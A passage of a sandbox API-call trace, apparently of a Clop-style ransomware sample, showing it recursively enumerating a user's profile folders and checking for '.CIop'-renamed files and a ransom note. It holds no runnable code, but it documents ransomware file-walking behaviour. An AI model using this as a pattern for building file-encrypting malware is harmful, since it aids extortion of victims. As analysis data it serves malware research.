lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*" [0128.293] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.293] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="Saved Pictures" [0128.293] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Saved Pictures" | out: lpString1="Saved Pictures") returned="Saved Pictures" [0128.293] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.293] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.293] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.293] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.293] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.293] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.294] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.294] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.294] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.294] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.294] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.294] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0128.294] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0128.294] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0128.294] SetErrorMode (uMode=0x1) returned 0x1 [0128.294] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0128.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0128.294] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0128.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*" [0128.294] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.294] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="PrintHood" [0128.294] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0128.294] lstrlenW (lpString=".CIop") returned 5 [0128.294] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.294] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.294] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.294] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0128.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*" [0128.294] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.294] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="PrintHood" [0128.294] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0128.295] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.295] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.295] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.295] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.295] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0128.295] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0128.295] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0128.295] SetErrorMode (uMode=0x1) returned 0x1 [0128.295] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0128.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0128.295] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0128.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*" [0128.295] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.295] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="Recent" [0128.295] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0128.295] lstrlenW (lpString=".CIop") returned 5 [0128.295] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.295] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.295] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.295] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0128.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*" [0128.295] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.295] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="Recent" [0128.295] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0128.295] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.295] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.295] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.295] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.295] lstrcmpW (lpString1="Saved Games", lpString2="..") returned 1 [0128.295] lstrcmpW (lpString1="Saved Games", lpString2=".") returned 1 [0128.295] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0128.296] SetErrorMode (uMode=0x1) returned 0x1 [0128.296] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0128.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" [0128.296] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\" [0128.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*" [0128.296] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.296] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="Saved Games" [0128.296] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0128.296] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.296] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.296] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.296] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.296] lstrlenW (lpString="desktop.ini") returned 11 [0128.296] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.296] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.296] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.296] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0128.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*" [0128.296] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.296] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="Saved Games" [0128.296] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0128.296] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.296] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.296] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.296] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.296] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.297] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.297] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.297] lstrcmpW (lpString1="Searches", lpString2="..") returned 1 [0128.297] lstrcmpW (lpString1="Searches", lpString2=".") returned 1 [0128.297] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0128.297] SetErrorMode (uMode=0x1) returned 0x1 [0128.297] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0128.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0128.297] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0128.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*" [0128.297] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.297] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="Searches" [0128.297] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0128.297] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.297] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.297] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.297] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.297] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.297] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.297] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.297] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.297] lstrlenW (lpString="desktop.ini") returned 11 [0128.297] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.297] lstrcmpW (lpString1="Everywhere.search-ms.CIop", lpString2="..") returned 1 [0128.297] lstrcmpW (lpString1="Everywhere.search-ms.CIop", lpString2=".") returned 1 [0128.297] lstrlenW (lpString=".CIop") returned 5 [0128.297] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.297] lstrcmpW (lpString1="Indexed Locations.search-ms.CIop", lpString2="..") returned 1 [0128.297] lstrcmpW (lpString1="Indexed Locations.search-ms.CIop", lpString2=".") returned 1 [0128.297] lstrlenW (lpString=".CIop") returned 5 [0128.297] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.297] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.298] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.298] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0128.298] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*" [0128.298] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.298] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="Searches" [0128.298] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0128.298] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.298] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.298] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.298] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.298] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.298] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.298] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.298] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.298] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.298] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.298] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0128.298] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0128.298] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.298] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.298] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0128.298] SetErrorMode (uMode=0x1) returned 0x1 [0128.298] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0128.298] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" [0128.298] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\" [0128.298] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*" [0128.298] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.299] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="SendTo" [0128.299] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0128.299] lstrlenW (lpString=".CIop") returned 5 [0128.299] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.299] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.299] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.299] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0128.299] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*" [0128.299] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.299] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="SendTo" [0128.299] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0128.299] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.299] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.299] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.299] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.299] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0128.299] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0128.299] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.299] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.299] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0128.299] SetErrorMode (uMode=0x1) returned 0x1 [0128.299] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0128.299] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" [0128.299] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" [0128.299] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*" [0128.299] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.299] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="Start Menu" [0128.299] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0128.299] lstrlenW (lpString=".CIop") returned 5 [0128.299] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.299] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.299] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.299] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0128.299] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*" [0128.299] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.299] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="Start Menu" [0128.299] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0128.299] FindNextFileW (in: 